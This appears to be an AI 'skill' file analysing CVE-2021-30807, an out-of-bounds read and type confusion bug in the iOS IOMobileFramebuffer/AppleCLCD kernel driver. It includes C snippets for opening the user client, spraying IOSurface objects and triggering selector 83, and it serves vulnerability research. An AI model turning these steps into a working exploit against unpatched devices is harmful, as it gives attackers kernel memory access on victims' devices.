Hacktricks-skills cve-2021-30807-analysis

Analyze and understand CVE-2021-30807, an iOS kernel out-of-bounds read vulnerability in IOMobileFramebuffer/AppleCLCD. Use this skill when researching iOS kernel exploits, studying IOMobileFramebuffer vulnerabilities, analyzing selector 83 exploitation, understanding IOSurface heap spraying techniques, or examining the OOB pointer read + type confusion primitive. Trigger for any questions about this specific CVE, iOS kernel user client exploitation, or when analyzing the Saar Amar PoC code.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer/SKILL.MD
source content

CVE-2021-30807: IOMobileFramebuffer OOB Analysis

A skill for understanding and analyzing CVE-2021-30807, an out-of-bounds read vulnerability in iOS kernel's IOMobileFramebuffer/AppleCLCD that enables arbitrary kernel reads.

Vulnerability Overview

Affected Versions:

  • iOS/iPadOS < 14.7.1
  • macOS Big Sur < 11.5.1
  • watchOS < 7.6.1

Vulnerability Type: Out-of-bounds pointer read + type confusion

Impact: Arbitrary kernel read primitive (can lead to LPE with additional techniques)

Entitlement Required:

com.apple.private.allow-explicit-graphics-priority
(available to WebKit.WebContent)

The Bug Mechanics

Vulnerable Code Path

Userland → IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
         → IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)
         → ptr = *(this + 0xA58 + scalar0 * 8)  // OOB READ
         → IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)

Key Details

  1. User-controlled index:

    scalar0
    is a 32-bit value passed from userland with no bounds checking

  2. OOB pointer fetch: The kernel reads from

    this + 0xA58 + index*8
    where
    index = scalar0

  3. Type confusion: The fetched pointer is cast to

    IOSurface*
    and passed to IOSurface code

  4. Result:

    • If pointer is invalid → kernel panic (DoS)
    • If pointer is valid IOSurface → returns Mach port name (arbitrary read primitive)

Exploitation Flow

Step 1: Open the User Client

// Find AppleCLCD service in IORegistry
io_service_t service = IOServiceGetMatchingService(
    kIOMasterPortDefault,
    IOServiceMatching("AppleCLCD"));

// Open user client type 2 (exposes selector 83)
IOServiceOpen(service, mach_task_self(), 2, &user_client_conn);

Why type 2? This user client variant exposes the external methods table containing selector 83.

Step 2: Heap Spray with IOSurfaces

The spray populates kernel heap with valid IOSurface objects so the OOB read hits something legitimate:

// Create many IOSurfaces
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
    surface_ids[i] = create_surface(iosurface_uc);
    
    // Spray small values to fill kalloc regions
    IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
                           20, 200, data, sizeof(data), NULL);
}

Goal: When selector 83 reads past the legitimate array, it likely hits a pointer to one of your sprayed IOSurfaces.

Step 3: Trigger the OOB Read

// Convert byte offset to pointer slot index (8 bytes per slot on 64-bit)
uint64_t scalars[1] = { offset / 8 };

// Call selector 83
IOConnectCallMethod(appleclcd_uc, 83,
                   scalars, 1,
                   NULL, 0,
                   output_scalars, &output_scalars_size,
                   NULL, NULL);

// Returns Mach port name (u32 handle) to the IOSurface at OOB slot

The offset/8 trick: The kernel computes

base + index*8
, so you specify slot number, not byte offset.

Step 4: Use the Returned Port

The call returns a Mach port name (not a raw address). You can then:

  • s_lookup_surface_from_port
    (method 34) → convert port to surface ID
  • s_create_port_from_surface
    (method 35) → inverse operation

Key Technical Concepts

Why IOSurface?

IOSurface is a classic kernel spray primitive because:

  • Well-documented allocation patterns
  • Predictable kalloc bucket sizes
  • Many methods for creating/manipulating surfaces
  • Accessible from sandboxed processes (WebKit.WebContent)

The Type Confusion

The vulnerability doesn't just read OOB—it misinterprets what it reads:

  1. Reads arbitrary pointer from kernel memory
  2. Casts it to
    IOSurface*
  3. Passes it to
    IOSurfaceRoot::copyPortNameForSurfaceInTask()
  4. If the pointer happens to be a valid IOSurface, the call succeeds
  5. Returns a legitimate Mach port to that IOSurface

This is more powerful than a simple OOB read because it gives you a handle to kernel memory.

Entitlement Bypass

The vulnerable method requires

com.apple.private.allow-explicit-graphics-priority
, but:

  • WebKit.WebContent has this entitlement
  • WebKit runs in a sandbox but can still trigger the vulnerability
  • This makes the vulnerability exploitable from web context

Analysis Checklist

When analyzing this CVE or similar vulnerabilities:

  • Identify the user-controlled parameter (scalar0)
  • Trace the code path to find where it's used as an index
  • Check for bounds validation (there isn't any here)
  • Determine what the OOB read returns (pointer, not data)
  • Understand how the returned value is used (type confusion)
  • Identify available spray primitives (IOSurface)
  • Map the entitlement requirements
  • Determine exploitation context (WebKit.WebContent)

References

Related Vulnerabilities

This vulnerability is part of a pattern of IOMobileFramebuffer exploits:

  • Similar OOB read primitives in other selectors
  • Heap spraying with IOSurface is a common iOS kernel exploitation technique
  • User client external methods are a frequent attack surface

Research Notes

For security researchers studying this CVE:

  1. Understand the primitive: This is an arbitrary read, not arbitrary write. LPE requires additional techniques.

  2. Study the spray: The IOSurface spray is critical—without it, the OOB read hits garbage and causes DoS.

  3. Port names matter: The return value is a Mach port, not an address. This affects how you use the primitive.

  4. Context is key: The entitlement requirement limits exploitation to WebKit.WebContent context.

  5. Patch analysis: Compare vulnerable vs. patched code to understand the fix (bounds checking added).


Use this skill when:

  • Analyzing CVE-2021-30807 specifically
  • Studying iOS kernel user client vulnerabilities
  • Understanding IOSurface heap spraying
  • Researching selector 83 exploitation
  • Learning about OOB read + type confusion primitives
  • Analyzing the Saar Amar PoC code
  • Preparing for iOS security research or CTF challenges